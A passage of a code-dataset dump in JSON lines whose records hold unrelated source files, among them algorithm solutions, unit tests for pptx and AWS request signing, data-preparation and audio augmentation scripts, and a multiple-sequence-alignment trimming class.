+{"seq_id":"116483250","text":"import math\n\ndef solution(gems):\n cl=0\n cr=0\n \n gem_list = set(gems)\n gem_num = len(gem_list)\n \n gem_dict = zip(list(gem_list),[i for i in range(gem_num)])\n gem_dict = dict(gem_dict)\n # print(gem_dict)\n \n gem_list = [0 for _ in range(gem_num)]\n \n # print(gem_list)\n \n \n gems = [''] +gems\n N = len(gems)\n \n gem_cnt =0\n ans =[]\n \n min_len = math.inf\n \n while(1):\n if gem_cnt < gem_num:\n cr += 1\n \n if(cr == N): #넘어가면 종료\n break\n \n if gem_list[gem_dict[gems[cr]]] == 0: #새로운 보석\n gem_cnt += 1\n\n gem_list[gem_dict[gems[cr]]] += 1 # 보석담기\n\n else:\n cl += 1\n \n gem_list[gem_dict[gems[cl]]] -= 1 # 보석버리기\n \n if gem_list[gem_dict[gems[cl]]] == 0: # 종류 중 하나 남은 보석 버리기\n gem_cnt -= 1\n \n \n if gem_cnt == gem_num and (cr-cl) < min_len: # 최소거리\n min_len= cr-cl\n ans = [cl+1,cr]\n \n# print(gem_list)\n# print(gem_cnt) \n \n # print(ans)\n \n return ans","sub_path":"대회,기출/카카오_2020_보석쇼핑.py","file_name":"카카오_2020_보석쇼핑.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"104778654","text":"import asyncio\nimport json\n\nfrom galaxy.api.plugin import Plugin\nfrom galaxy.api.consts import Platform\n\ndef test_get_capabilites(reader, writer, read, write):\n class PluginImpl(Plugin): #pylint: disable=abstract-method\n async def get_owned_games(self):\n pass\n\n request = {\n \"jsonrpc\": \"2.0\",\n \"id\": \"3\",\n \"method\": \"get_capabilities\"\n }\n token = \"token\"\n plugin = PluginImpl(Platform.Generic, \"0.1\", reader, writer, token)\n read.side_effect = [json.dumps(request).encode() + b\"\\n\", b\"\"]\n asyncio.run(plugin.run())\n response = json.loads(write.call_args[0][0])\n assert response == {\n \"jsonrpc\": \"2.0\",\n \"id\": \"3\",\n \"result\": {\n \"platform_name\": \"generic\",\n \"features\": [\n \"ImportOwnedGames\"\n ],\n \"token\": token\n }\n }\n\ndef test_shutdown(plugin, read, write):\n request = {\n \"jsonrpc\": \"2.0\",\n \"id\": \"5\",\n \"method\": \"shutdown\"\n }\n read.side_effect = [json.dumps(request).encode() + b\"\\n\", b\"\"]\n asyncio.run(plugin.run())\n plugin.shutdown.assert_called_with()\n response = json.loads(write.call_args[0][0])\n assert response == {\n \"jsonrpc\": \"2.0\",\n \"id\": \"5\",\n \"result\": None\n }\n\ndef test_ping(plugin, read, write):\n request = {\n \"jsonrpc\": \"2.0\",\n \"id\": \"7\",\n \"method\": \"ping\"\n }\n read.side_effect = [json.dumps(request).encode() + b\"\\n\", b\"\"]\n asyncio.run(plugin.run())\n response = json.loads(write.call_args[0][0])\n assert response == {\n \"jsonrpc\": \"2.0\",\n \"id\": \"7\",\n \"result\": None\n }\n\ndef test_tick_before_handshake(plugin, read):\n read.side_effect = [b\"\"]\n asyncio.run(plugin.run())\n plugin.tick.assert_not_called()\n\ndef test_tick_after_handshake(plugin, read):\n request = {\n \"jsonrpc\": \"2.0\",\n \"id\": \"6\",\n \"method\": \"initialize_cache\",\n \"params\": {\"data\": {}}\n }\n read.side_effect = [json.dumps(request).encode() + b\"\\n\", b\"\"]\n asyncio.run(plugin.run())\n plugin.tick.assert_called_with()\n","sub_path":"tests/test_internal.py","file_name":"test_internal.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"459467569","text":"import os\nimport argparse\nimport json\n\nimport pandas as pd\nfrom tqdm import tqdm\nfrom sklearn.model_selection import train_test_split\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('voice_dir')\nparser.add_argument('json_file')\nparser.add_argument('--min_duration', type=int, default=0)\nparser.add_argument('--max_duration', type=int, default=1000)\nparser.add_argument('--test_size', type=float, default=0.2)\nparser.add_argument('--random_state', type=int, default=42)\n\nif __name__=='__main__':\n args = parser.parse_args()\n\n parent_dir = os.path.dirname(args.json_file)\n text_dir = os.path.join(parent_dir, 'transcribe')\n if not os.path.isdir(text_dir):\n os.mkdir(text_dir)\n text_dir = os.path.abspath(text_dir)\n voice_dir = os.path.abspath(args.voice_dir)\n\n with open(args.json_file) as f:\n data = f.readlines()\n \n voices = []\n texts = []\n\n for line in tqdm(data):\n conf = json.loads(line)\n text = conf['text']\n voice = conf['key']\n duration = conf['duration']\n if duration > args.min_duration and duration < args.max_duration:\n vp = os.path.join(voice_dir, voice[37:])\n tp = os.path.join(text_dir, voice[37:-4].replace('/','_')+'.txt')\n with open(tp, 'w') as f:\n f.write(text)\n voices.append(vp)\n texts.append(tp)\n\n train_voice, test_voice, train_text, test_text = train_test_split(\n voices, texts, \n test_size=args.test_size,\n random_state=args.random_state\n )\n\n train_df = pd.DataFrame({'voice':train_voice, 'text':train_text})\n test_df = pd.DataFrame({'voice':test_voice, 'text':test_text})\n\n train_df.to_csv(os.path.join(parent_dir,'train_manifest.csv'), header=False, index=False)\n test_df.to_csv(os.path.join(parent_dir,'test_manifest.csv'), header=False, index=False)","sub_path":"data/infore.py","file_name":"infore.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"585440445","text":"#!/usr/bin/python\n# coding=utf-8\n\nimport json\nfrom datetime import date\n\nhoy=date.today()\n\nf = json.load(open(\"anuncios_as_\"+str(hoy)+\".json\"))\ng = json.load(open(\"rir_asns.json\"))\n# h = open(\"asns_\"+str(hoy)+\".html\", \"w\")\n# h.write(\"asn|rir|pfx_afrinic|pfx_apnic|pfx_lacnic|pfx_ripencc|pfx_arin
    \")\nk = open(\"test_asns.html\", \"w\")\n\ntabla = ''\n\nfor i in f:\n afrinic = f[i][0]\n apnic = f[i][1]\n lacnic = f[i][2]\n ripe = f[i][3]\n arin = f[i][4]\n for j in g:\n if i in g[j]:\n rir = j\n # h.write(\"\"+str(i)+\"\"+\"|\"+str(rir)+\"|\"+str(afrinic)+\"|\"+str(apnic)+\"|\"+str(lacnic)+\"|\"+str(ripe)+\"|\"+str(arin)+\"
    \")\n tabla = tabla + ''\n # print i, rir, afrinic, apnic, lacnic, ripe, arin\n\ntabla = tabla + '
    ASNRIRAfrinic prefixApnic prefixLACNIC prefixRipe prefixArin prefix
    '+str(i)+'
    '+str(rir)+'
    '+str(afrinic)+'
    '+str(apnic)+'
    '+str(lacnic)+'
    '+str(ripe)+'
    '+str(arin)+'
    '\n\nk.write('Title
    '+tabla+'
    ')\nk.close()\n","sub_path":"tabla_asns.py","file_name":"tabla_asns.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"555732176","text":"import numpy as np\nfrom scipy.io.wavfile import write\nimport librosa\nimport os\n\npath = \"deletethis\" #or whichever source folder\nos.chdir(path)\n\ndef load_audio_file(file_path):\n input_length = 1159168 \n data = librosa.core.load(file_path)[0] \n if len(data)>input_length:\n data = data[:input_length]\n else:\n data = np.pad(data, (0, max(0, input_length - len(data))), \"constant\")\n return data\n\ndef stretch(data, rate=1):\n input_length = 1159168\n data = librosa.effects.time_stretch(data, rate)\n if len(data)>input_length:\n data = data[:input_length]\n else:\n data = np.pad(data, (0, max(0, input_length - len(data))), \"constant\")\n\n return data\n\ndef manipulate(data, sampling_rate, pitch_factor):\n return librosa.effects.pitch_shift(data, sampling_rate, pitch_factor)\n\naudio_files = os.listdir()\n\nfor file in audio_files:\n name, ext = os.path.splitext(file)\n data = load_audio_file(file)\n wn = np.random.randn(len(data))\n data_wn1 = data + 0.005*wn\n write(\"andthis/{0}_wn1.wav\".format(name), 24100, data_wn1)\n data_roll1 = np.roll(data, 1600)\n write(\"andthis/{0}_roll1.wav\".format(name), 24100, data_roll1)\n data_stretch =stretch(data, 0.8)\n write(\"andthis/{0}_stretch1.wav\".format(name), 24100, data_stretch)\n data_stretch2 =stretch(data, 1.2)\n write(\"andthis/{0}_stretch2.wav\".format(name), 24100, data_stretch2)\n data_wn2 = data + 0.0009*wn\n write(\"andthis/{0}_wn2.wav\".format(name), 24100, data_wn2)\n data_roll2 = np.roll(data, 90000)\n write(\"andthis/{0}_roll2.wav\".format(name), 24100, data_roll2)\n data_pitch1 = manipulate(data, 24100, 0.1)\n write(\"andthis/{0}_pitch1.wav\".format(name), 24100, data_pitch1)\n data_pitch2 = manipulate(data, 24100, 0.2)\n write(\"andthis/{0}_pitch2.wav\".format(name), 24100, data_pitch2)","sub_path":"data_aug.py","file_name":"data_aug.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"549843901","text":"from support import *\r\n\r\ndef get_file():\r\n nums=[]\r\n with open(\"100_nums.txt\",'r') as in_file:\r\n for line in in_file:\r\n nums.append(int(line))\r\n return nums\r\n \r\nprint(add_list(get_file()))\r\n","sub_path":"p13.py","file_name":"p13.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"367785317","text":"class Solution(object):\n def maximumSwap(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n A = [int(c) for c in str(num)]\n if len(A) <= 1: return num\n m = len(A)\n nextG = [0] * m # next greater's index\n mx, mxidx = A[m-1], m - 1\n for i in xrange(m - 1, -1, -1):\n if mx >= A[i]:\n nextG[i] = mxidx\n else:\n nextG[i] = -1\n mx = A[i]\n mxidx = i\n\n ret = list(A)\n for i in xrange(m):\n if nextG[i] == -1: continue\n j = nextG[i]\n A[i], A[j] = A[j], A[i]\n if A > ret:\n ret = list(A)\n A[i], A[j] = A[j], A[i]\n return int(''.join([str(c) for c in ret]))\n","sub_path":"LC670.py","file_name":"LC670.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65408106","text":"from Domain.obiect import getLocatie, creeazaObiect, getId, getNume, getDescriere, getPret\n\ndef mutareObiecte(substringLocatieVeche, lista, locatieNoua):\n '''\n Mutarea tuturor obiectelor dintr-o locație în alta.\n :param substringLocatie: stringul dupa care se cauta locatia\n :param lista: lista de obiecte\n :return: lista in care obiectele care apartin de locatia data sunt mutate in alta locatie\n '''\n\n listaNoua=[]\n for obiect in lista:\n if substringLocatieVeche==getLocatie(obiect):\n obiectNou=creeazaObiect(\n getId(obiect),\n getNume(obiect),\n getDescriere(obiect),\n getPret(obiect),\n getLocatie(obiect).replace(getLocatie(obiect), locatieNoua)\n )\n listaNoua.append(obiectNou)\n else:\n listaNoua.append(obiect)\n return listaNoua\n\ndef concatenare(text, lista, pret):\n '''\n Concatenarea unui string citit la toate descrierile obiectelor cu prețul mai mare decât o valoare citită\n :param text: stringul care trebuie adaugat la descrierile obiectelor cu pretul mai mare decat o valoare citita\n :param lista: lista de obiecte\n :param pret: valoarea dupa care comparam pretul fiecarui obiect pt a verifica daca ii modificam descrierea\n :return: o lista noua in care toate descrierile obiectelor cu pretul mai mare decat valoarea data au fost modificate, concatenandu-se un string\n '''\n listaNoua=[]\n for obiect in lista:\n if getPret(obiect)>pret:\n obiectNou=creeazaObiect(\n getId(obiect),\n getNume(obiect),\n getDescriere(obiect) + str(text),\n getPret(obiect),\n getLocatie(obiect)\n )\n listaNoua.append(obiectNou)\n else:\n listaNoua.append(obiect)\n return listaNoua\n\n\ndef PretMaximLocatie(lista):\n '''\n Determinarea celui mai mare preț pentru fiecare locație\n :param lista: lista de obiecte\n :return: un dictionar cu cel mai mare pret pentru fiecare locatie\n '''\n rezultat={}\n for obiect in lista:\n locatie=getLocatie(obiect)\n if locatie in rezultat:\n if getPret(obiect)>rezultat[locatie]:\n rezultat[locatie]=getPret(obiect)\n else:\n rezultat[locatie]=getPret(obiect)\n return rezultat\n\ndef OrdonareDupaPret(lista):\n '''\n Ordonarea obiectelor crescător după prețul de achiziție.\n :param lista: lista de obiecte\n :return: Obiectele ordonate crescator dupa pretul de achizitie\n '''\n return sorted(lista, key=lambda obiect: getPret(obiect))\n\ndef sumaPreturilor(lista):\n '''\n Afișarea sumelor prețurilor pentru fiecare locație.\n :param lista: lista de obiecte\n :return: suma preturilor pentru fiecare locatie\n '''\n rezultat={}\n for obiect in lista:\n locatie=getLocatie(obiect)\n if locatie in rezultat:\n rezultat[locatie]=rezultat[locatie]+getPret(obiect)\n else:\n rezultat[locatie]=getPret(obiect)\n return rezultat\n\n","sub_path":"Logic/funct.py","file_name":"funct.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"139916138","text":"# encoding: utf-8\n\n\"\"\"Test suite for pptx.oxml.graphfrm module.\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom hamcrest import assert_that, equal_to, is_\n\nfrom pptx.oxml.ns import nsdecls, qn\nfrom pptx.oxml.shapes.graphfrm import CT_GraphicalObjectFrame\n\nfrom ...unitutil import TestCase\n\n\nclass TestCT_GraphicalObjectFrame(TestCase):\n \"\"\"Test CT_GraphicalObjectFrame\"\"\"\n def test_has_table_return_value(self):\n \"\"\"CT_GraphicalObjectFrame.has_table property has correct value\"\"\"\n # setup ------------------------\n id_, name = 9, 'Table 8'\n left, top, width, height = 111, 222, 333, 444\n tbl_uri = 'http://schemas.openxmlformats.org/drawingml/2006/table'\n chart_uri = 'http://schemas.openxmlformats.org/drawingml/2006/chart'\n graphicFrame = CT_GraphicalObjectFrame.new_graphicFrame(\n id_, name, left, top, width, height)\n graphicData = graphicFrame[qn('a:graphic')].graphicData\n # verify -----------------------\n graphicData.set('uri', tbl_uri)\n assert_that(graphicFrame.has_table, is_(equal_to(True)))\n graphicData.set('uri', chart_uri)\n assert_that(graphicFrame.has_table, is_(equal_to(False)))\n\n def test_new_graphicFrame_generates_correct_xml(self):\n \"\"\"CT_GraphicalObjectFrame.new_graphicFrame() returns correct XML\"\"\"\n # setup ------------------------\n id_, name = 9, 'Table 8'\n left, top, width, height = 111, 222, 333, 444\n xml = (\n '\\n \\n \\n \\n \\n \\n \\n <'\n '/p:nvGraphicFramePr>\\n \\n \\n '\n ' \\n \\n \\n \\n \\n\\n' %\n (nsdecls('a', 'p'), id_, name, left, top, width, height)\n )\n # exercise ---------------------\n graphicFrame = CT_GraphicalObjectFrame.new_graphicFrame(\n id_, name, left, top, width, height)\n # verify -----------------------\n self.assertEqualLineByLine(xml, graphicFrame)\n\n def test_new_table_generates_correct_xml(self):\n \"\"\"CT_GraphicalObjectFrame.new_table() returns correct XML\"\"\"\n # setup ------------------------\n id_, name = 9, 'Table 8'\n rows, cols = 2, 3\n left, top, width, height = 111, 222, 334, 445\n xml = (\n '\\n \\n \\n \\n \\n \\n \\n '\n ' \\n \\n \\n'\n ' \\n \\n \\n \\n \\n \\n {5C22544A-7EE6-4342-B048-85BDC9'\n 'FD1C3A}\\n \\n \\n \\n \\n \\n \\n '\n ' \\n \\n \\n '\n ' \\n \\n '\n ' \\n \\n \\n '\n ' \\n \\n \\n '\n ' \\n \\n \\n \\n \\n \\n \\n \\n <'\n 'a:bodyPr/>\\n \\n \\n '\n ' \\n \\n '\n '\\n \\n \\n \\n '\n ' \\n \\n \\n \\n \\n '\n ' \\n \\n \\n '\n ' \\n \\n \\n \\n \\n '\n ' \\n \\n \\n <'\n 'a:txBody>\\n \\n \\n \\n \\n \\n \\n \\n \\n '\n ' \\n \\n\\n' %\n (nsdecls('a', 'p'), id_, name, left, top, width, height)\n )\n # exercise ---------------------\n graphicFrame = CT_GraphicalObjectFrame.new_table(\n id_, name, rows, cols, left, top, width, height)\n # verify -----------------------\n self.assertEqualLineByLine(xml, graphicFrame)\n","sub_path":"tests/oxml/shapes/test_graphfrm.py","file_name":"test_graphfrm.py","file_ext":"py","file_size_in_byte":5345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"90506212","text":"import datetime\nimport json\n\nfrom getting_started.aws_signing import AwsSigningV4\n\nsigner = AwsSigningV4(\n aws_access_key_id=\"access key\",\n aws_secret_access_key=\"secret key\",\n aws_host=\"developer-api.dnb.no\",\n)\n\n\ndef test_aws_signing_get_request(mocker):\n with mocker.patch(\n \"getting_started.aws_signing.now\", return_value=datetime.datetime(2018, 6, 2)\n ):\n headers = signer.create_headers(path=\"/tokens\", method=\"GET\")\n\n assert headers[\"Authorization\"] == (\n \"AWS4-HMAC-SHA256 Credential=access key/20180602/eu-west-1/execute-api/aws4_request, \"\n \"SignedHeaders=host;x-amz-date, \"\n \"Signature=1672f85f04d1375ffc1f91881d4e3ff6a583242fce8c6d92ba15544a63dd4dcb\"\n )\n\n\ndef test_aws_signing_post_request(mocker):\n with mocker.patch(\n \"getting_started.aws_signing.now\", return_value=datetime.datetime(2018, 6, 2)\n ):\n headers = signer.create_headers(\n path=\"/tokens\", method=\"POST\", data=json.dumps({\"ssn\": \"29105573083\"})\n )\n\n assert headers[\"Authorization\"] == (\n \"AWS4-HMAC-SHA256 Credential=access key/20180602/eu-west-1/execute-api/aws4_request, \"\n \"SignedHeaders=host;x-amz-date, \"\n \"Signature=1f1eb16d666394ba57522b01db51e1da0f2f272a4b48aba9011e5c4bb8540cac\"\n )\n assert (\n headers[\"x-amz-content-sha256\"]\n == \"b80fb83935fba3770a2436d26c84767b99f487250b6b7505a470153c47ecdcbb\"\n )\n","sub_path":"python/tests/test_aws_signing.py","file_name":"test_aws_signing.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"352161280","text":"\"\"\"\nFind albums or items without MusicBrainz tags.\n\"\"\"\nfrom beets import plugins, ui\n\n\nREGEX = '^(?!\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12})$'\n\n\nclass BrainlessPlugin(plugins.BeetsPlugin):\n def commands(self):\n def func(lib, opts, args):\n query = ui.decargs(args)\n\n if opts.album:\n field = 'mb_albumid'\n else:\n field = 'mb_trackid'\n\n query.append(\"%s::%s\" % (field, REGEX))\n ui.commands.list_items(lib, query, opts.album, opts.fmt)\n\n cmd = ui.Subcommand('brainless',\n help='Find items without MusicBrainz tags')\n cmd.parser.add_option('-a', '--album', action='store_true',\n help='Show matching albums instead of tracks')\n cmd.parser.add_option('-f', '--format', action='store', default='',\n dest='fmt', help='print with custom format')\n cmd.func = func\n return [cmd]\n","sub_path":".config/beets/plugins/brainless.py","file_name":"brainless.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515466798","text":"from utils.spreadsheets.googlespreadsheet import SpreadSheet\nimport time\n\n\nclass GSpreadManager:\n def __init__(self, sneakers_list):\n self.spread_sheet = SpreadSheet()\n self.sneakers_list = sneakers_list\n\n self.start_index_rows_range = 0\n self.last_sneakers_number = 0\n self.names = []\n self.articles = []\n self.prices = []\n self.sneaker_sizes = []\n self.sneaker_urls = []\n self.sneaker_brands = []\n self.sneaker_image_urls = []\n\n def merge_cells(self):\n for i, sneaker in enumerate(self.sneakers_list):\n sneakers_number = len(sneaker[1])\n print(sneaker[1])\n print(sneaker)\n print(sneakers_number)\n\n self.start_index_rows_range += self.last_sneakers_number\n end_index_rows_range = self.start_index_rows_range + sneakers_number\n\n self.last_sneakers_number = sneakers_number\n\n if sneakers_number > 1:\n # while True:\n # try:\n merged = False\n while not merged:\n try:\n self.spread_sheet.merge_cells((self.start_index_rows_range, end_index_rows_range), 4)\n time.sleep(1.1)\n merged = True\n except Exception as e:\n time.sleep(101)\n\n def get_all_needed_data(self):\n for i, sneaker in enumerate(self.sneakers_list):\n for j, item in enumerate(sneaker[1]):\n price = item[1], url = item[3], article = item[2]\n name = item[0], brand = item[4], image = item[5]\n\n sizes = str(item[-1])\n\n self.prices.append(price)\n self.sneaker_sizes.append(sizes)\n self.articles.append(article)\n self.names.append(name)\n self.sneaker_urls.append(url)\n self.sneaker_brands.append(brand)\n self.sneaker_image_urls.append(image)\n\n #TODO:refactor\n def populate_sheet(self):\n self.merge_cells()\n self.get_all_needed_data()\n\n sneakers_len = str(sum(len(item[1]) for item in self.sneakers_list))\n cell_list_names = self.spread_sheet.sheet.range('A1:A{}'.format(sneakers_len))\n\n for i, val in enumerate(self.names):\n cell_list_names[i].value = val\n\n self.spread_sheet.sheet.update_cells(cell_list_names)\n time.sleep(1)\n ##################################################################################\n cell_list_articles = self.spread_sheet.sheet.range('B1:B{}'.format(sneakers_len))\n for i, val in enumerate(self.articles):\n cell_list_articles[i].value = val\n\n self.spread_sheet.sheet.update_cells(cell_list_articles)\n time.sleep(1)\n ##################################################################################\n cell_list_brands = self.spread_sheet.sheet.range('C1:C{}'.format(sneakers_len))\n for i, val in enumerate(self.sneaker_brands):\n cell_list_brands[i].value = val\n\n self.spread_sheet.sheet.update_cells(cell_list_brands)\n #################################################################################\n cell_list_images = self.spread_sheet.sheet.range('D1:D{}'.format(sneakers_len))\n for i, val in enumerate(self.sneaker_image_urls):\n formula = '=image(\"{}\")'.format(val)\n cell_list_images[i].value = formula\n\n self.spread_sheet.sheet.update_cells(cell_list_images, value_input_option='USER_ENTERED')\n #################################################################################\n cell_list_prices = self.spread_sheet.sheet.range('E1:E{}'.format(sneakers_len))\n for i, val in enumerate(self.prices):\n cell_list_prices[i].value = str(val)\n\n self.spread_sheet.sheet.update_cells(cell_list_prices)\n time.sleep(1)\n ##################################################################################\n cell_list_urls = self.spread_sheet.sheet.range('F1:F{}'.format(sneakers_len))\n for i, val in enumerate(self.sneaker_urls):\n cell_list_urls[i].value = val\n\n self.spread_sheet.sheet.update_cells(cell_list_urls)\n ##################################################################################\n cell_list_sizes = self.spread_sheet.sheet.range('G1:G{}'.format(sneakers_len))\n for i, val in enumerate(self.sneaker_sizes):\n cell_list_sizes[i].value = val\n\n self.spread_sheet.sheet.update_cells(cell_list_sizes)\n\n\n","sub_path":"managers/gspreadmanager.py","file_name":"gspreadmanager.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"70338254","text":"from collections import defaultdict\n\nwith open('input.txt', 'r') as f:\n numbers = [int(num) for num in f.read().split()]\n\n\ntree = defaultdict(list)\n\ntotal = 0\n\n\ndef sum_metadata(entries):\n childs = entries[0]\n metadata = entries[1]\n\n entries = entries[2:]\n sum_entires = 0\n\n for i in range(childs):\n sum_node, entries = sum_metadata(entries)\n sum_entires += sum_node\n\n sum_entires += sum(entries[:metadata])\n\n return sum_entires, entries[metadata:]\n\n\ndef root_node_val(entries):\n childs = entries[0]\n metadata = entries[1]\n\n entries = entries[2:]\n child_nodes = []\n\n for i in range(childs):\n child_node_value, entries = root_node_val(entries)\n child_nodes.append(child_node_value)\n\n if childs == 0:\n return sum(entries[:metadata]), entries[metadata:]\n\n return sum(child_nodes[i - 1] for i in entries[:metadata]\n if 1 <= i <= len(child_nodes)), entries[metadata:]\n\n\nfirst_part = sum_metadata(numbers)\nprint('First part: {0}'.format(first_part[0]))\n\nsecond_part = root_node_val(numbers)\nprint('Second part: {0}'.format(second_part[0]))\n","sub_path":"day_8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"472502840","text":"import time\nimport numpy as np\nfrom scipy.stats import t\n\n\ndef prob_estimator(game, player, max_err=0.03, min_games=10, max_games=1000, max_time=10 * 60, alpha=0.95, verbose=1, random_start=True):\n \"\"\"Runs simulations of game until the expected winning probability for player is estimated with x in such a way that the true probability lays in an interval ]x-max_err, x+max_err[ with probability alpha\"\"\"\n\n n_games = 0\n samples = []\n err = max_err + 1\n win = 0.0\n player = str(player)\n\n start = last = time.time()\n while (err > max_err and 2 * time.time() - start - last <= max_time and n_games < max_games) or n_games < min_games:\n last = time.time()\n result = str(game.run_game(verbose=0, current_player='random' if random_start else None))\n if result == player:\n win = 1.0\n elif result == 'draw':\n win = 0.0\n else:\n win = -1.0\n n_games += 1\n samples.append(win)\n sample_var = np.var(samples, ddof=1)\n if n_games >= min_games:\n err = abs(t.ppf(alpha, n_games - 1) * np.sqrt(sample_var / n_games))\n if verbose > 1:\n print('time: {:.1f}, n_games: {}, error: {:.3f}, exp: {:.3f}'.format(time.time() - start, n_games, err, np.mean(samples)))\n if verbose > 0:\n print('time: {:.1f}, n_games: {}, error: {:.3f}, exp: {:.3f}'.format(time.time() - start, n_games, err, np.mean(samples)))\n return np.mean(samples), err\n","sub_path":"estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"107928188","text":"from Bio import AlignIO\nfrom ..sequence_backmapper.sequence_backmapper import SequenceBackmapper\nimport logging\n\"\"\"Trims MSA data by gap percentage or removing all gaps corresponding to best\nmatching sequence to a reference sequence.\n\nAuthor: Mehari B. Zerihun\n\"\"\"\n\nlogger = logging.getLogger(__name__)\n\nclass MSATrimmerException(Exception):\n \"\"\"Raises exceptions related to MSA trimming\n \"\"\"\n\nclass MSATrimmer:\n\n def __init__(self, msa_file, biomolecule=None,max_gap=None, refseq_file=None):\n \"\"\"\n Parameters\n ----------\n self : MSATrimmer\n An instance of MSATrimmer class\n msa_file : str\n Path to the FASTA formatted MSA file\n biomolecule : str\n Type of biomolecule (protein or RNA)\n \"\"\"\n self.__msa_file = msa_file\n self.__refseq_file = refseq_file\n self.__max_gap = 0.5 if max_gap is None else max_gap\n if self.__max_gap > 1.0 or self.__max_gap < 0.0:\n logger.error('\\n\\tThe value of max_gap should be between 0 and 1')\n raise MSATrimmerException\n if biomolecule is not None:\n self.__biomolecule = biomolecule.strip().upper()\n else:\n self.__biomolecule = biomolecule\n self.__alignment_data = list(AlignIO.read(self.__msa_file, 'fasta'))\n\n logger.info('\\n\\tMSA file: {0}'\n '\\n\\tReference sequence file: {1}'\n '\\n\\tbiomolecule: {2}'\n ''.format(self.__msa_file, self.__refseq_file,\n self.__biomolecule,\n )\n )\n return None\n\n\n @property\n def alignment_data(self):\n \"\"\"\n \"\"\"\n return self.__alignment_data\n\n\n def compute_msa_columns_gap_size(self):\n \"\"\"Computes the gap size of each column in MSA\n\n Parameters\n ----------\n self : MSATrimmer\n Instance of MSATrimmer class\n\n Returns\n -------\n msa_columns_gap_size : tuple\n A tuple of column gap sizes. The column gap size is computed as\n the fraction of gaps in a particular MSA column.\n\n \"\"\"\n logger.info('\\n\\tObtaining columns containing more than {}% of gaps'.format(\n self.__max_gap * 100)\n )\n seqs_len = len(self.__alignment_data[0].seq)\n num_seqs = len(self.__alignment_data)\n logger.info('\\n\\tTotal number of sequences read from MSA file:{}'\n '\\n\\tLength of the sequences:{}'.format(num_seqs, seqs_len)\n )\n msa_columns_gap_size = list()\n for i in range(seqs_len):\n num_gaps = 0\n for record in self.__alignment_data:\n state_i = record.seq[i]\n if state_i == '.' or state_i == '-': num_gaps += 1\n gap_fraction_i = float(num_gaps)/float(num_seqs)\n msa_columns_gap_size.append(gap_fraction_i)\n max_gap_size = max(msa_columns_gap_size)\n min_gap_size = min(msa_columns_gap_size)\n logger.info('\\n\\tMinimum and maximum gap percentages, respectively:'\n '{0:.2f}% and {1:.2f}%'.format(max_gap_size * 100, min_gap_size * 100)\n )\n return tuple(msa_columns_gap_size)\n\n\n def msa_columns_beyond_max_gap(self):\n \"\"\"Obtains the columns in MSA tha contain more than the given fraction of\n gaps treshold.\n\n Parameters\n ----------\n self : MSATrimmer\n An instance of MSATrimmer class\n\n Returns\n -------\n msa_columns_beyond_max_gap : tuple\n A tuple of MSA columns that contain fraction of gaps beyond the\n max_gap\n \"\"\"\n columns_gap_size = self.compute_msa_columns_gap_size()\n seqs_len = len(self.__alignment_data[0].seq)\n msa_columns_beyond_max_gap = [\n i for i in range(seqs_len) if columns_gap_size[i] > self.__max_gap\n ]\n return tuple(msa_columns_beyond_max_gap)\n\n\n def trim_by_gap_size(self):\n \"\"\"Returns a tuple of MSA columns that have beyond self.__max_gap gap\n fraction.\n\n Parameters\n ---------\n self : MSATrimmer\n An instance of MSATrimmer class\n\n Returns\n -------\n columns_to_remove : tuple\n A tuple containing columns that are going to to trimmed. These\n are MSA columns that have a gap fraction beyond self.__max_gap.\n \"\"\"\n columns_to_remove = self.msa_columns_beyond_max_gap()\n return tuple(columns_to_remove)\n\n\n def trim_by_refseq(self, remove_all_gaps=False):\n \"\"\"Obtains columns in MSA that contain gaps more that the gap treshold\n and do not involve residues in the best matchin sequence with reference.\n If remove_all_gaps is set True, all columns involving gaps in the matching\n sequence to reference are removed.\n\n Parameters\n ----------\n self : MSATrimmer\n An instance of MSATrimmer\n remove_all_gaps : bool\n If set to True, all columns with gaps in the matching sequence\n with the reference are removed.\n\n Returns\n -------\n columns_to_remove : tuple\n A tuple of MSA column positions. These columns are going to\n be removed from the MSA.\n \"\"\"\n seqbackmapper = SequenceBackmapper(msa_file = self.__msa_file,\n refseq_file = self.__refseq_file,\n biomolecule = self.__biomolecule,\n )\n matching_seqs = seqbackmapper.find_matching_seqs_from_alignment()\n logger.info('\\n\\tRemoving gapped columns corresponding to best'\n ' matching sequence to the reference'\n )\n first_matching_seq = matching_seqs[0]\n logger.info('\\n\\tSequence in MSA that matches the reference'\n '\\n\\t{}'.format(first_matching_seq)\n )\n\n gap_symbols = ['-', 